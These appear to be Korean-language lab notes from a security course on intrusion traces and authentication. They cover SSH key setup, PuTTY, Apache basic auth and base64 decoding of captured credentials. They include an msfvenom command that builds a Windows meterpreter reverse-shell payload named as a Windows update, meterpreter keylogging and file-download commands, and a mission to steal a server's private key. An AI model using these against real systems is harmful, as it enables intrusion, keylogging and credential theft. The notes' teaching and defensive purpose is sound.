침투흔적
메일로 받은 흔적도 추적
또는 웹으로 흔적을 만들고 추적
언제 침투가 되었는지?
해커에게 노출된 암호는 안전한 것인가?
> 키로거 작동 > ?
> 화면 스크린 샷 > ?
주기적으로 변경하는게 안전한 것인가?
안전하지 않다면 어떠한 조치를 취해야 하는가?
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=7777 -b "\x00" -f exe -o /home/kali/windows_update_20250121001.exe
키로거 작동
keyscan_start
keyscan_dump
keyscan_stop
디스크변경
cd C:
cd Z:
파일 다운로드
download 파일명
인증방법을 바꿔보자
키인증방식을 사용한다면 안전한가?
key : 암호화
패스워드 인증 방식 > 키인증방식을 사용한다면 안전한가?
cat /etc/ssh/sshd_config.d/
PasswordAuthentication no
KbdInteractiveAuthentication no
서버설정
ssh-keygen
ll ~/.ssh
cat ~/.ssh/id_ed >> ~/.
key : 암호화
id_ed25519.pub의 내용을 authorized_keys에 입력
cat id_ed25519.pub >> authorized_keys
sz id_ed25519를 통해 값을 가져옴
왼쪽의 개인키를 --> 오른쪽 짝궁
scp master@192.168.0.212:/home/master/.ssh/id_ed25519 ~/.ssh
ssh master@192.168.0.211
192.168.0.92 으로 본인의 계정을 이용하여 접속하라
window 에서 puttygen 실행
위에 conversions 누른후 서버에서 생성한 id_ed25519를 선택
Save private key 누르고 위치와 이름 선택 하면 키가 생성됨
그후 putty로 가서 connection -> data -> Auto-login username -> master입력
SSH -> Auth -> Credentials -> private key file for authentication -> 파일 선택
Session으로 돌아가서 IP입력하고 접속
미션
바탕화면에 저장된 서버의 개인키를 유출하라
로그와 패킷을 통해 유출된 흔적을 찾아라
유출한 키로 서버에 접속 가능한지 확인하라
인증키를 사용한 ssh연결
ssh -i id_ed25519 master@192.168.56.102
커버로스
/etc/apache2/sites-available
auth-basic.conf작성
Directory /var/www/html/auth-basic>
Authtype Basic
AuthName "Basic"
AuthUserFile /etc/apache2/.htpasswd
require valid-user
/Directory>
/var/www/html
mkdir auth-basic
touch index.html
사용자 등록
htpasswd -Bc /etc/apache2/.htpasswd master
활성화
a2ensite auth-basic
인증
웹 기본 인증 : 매우 취약함
패킷 잡아 인코딩 확인
import base64
import json
data = {"username":"master","password":"123456"}
json_data = json.dump(data)
encoded_json = base64.b64encode(json_data.encode('utf-8'))
print("Encode JSON:",encoded_json.decode('utf-8'))
PAM(Pluggable Authentication Modules)
인증을 유연하게 관리 할 수 있도록 설계된 모듈화된
인증 프레임워크
방식 적용
패스워드 > 키 인증 방식 >
웹기반 인증 > 취약함 ( 옛날 공유기나 카메라에 사용)
PAM모듈 인증
LDAP 인증
커버로스 인증 ( sshd 설정 변경 가능함)
파이썬 base64 인코더 디코더
import base64
import json
data = {"username":"master","password":"123456"}
json_data = json.dumps(data)
encoded_json = base64.b64encode(json_data.encode('utf-8'))
print("Encode JSON:",encoded_json.decode('utf-8'))
decoded_json = base64.b64decode(encoded_json).decode('utf-8')
decoded_data = json.loads(decoded_json)
print("Decoded JSON:",decoded_data)
웹 기본 인증방식은 base64로 암호화 한다
칼리에서 wireshark 로 로그인 패킷을 잡아서 본다
Hypertext Transfer Protocol 안에
Authorization: Basic ~~~~~
열어보면 디코딩된 base64값을 볼 수 있다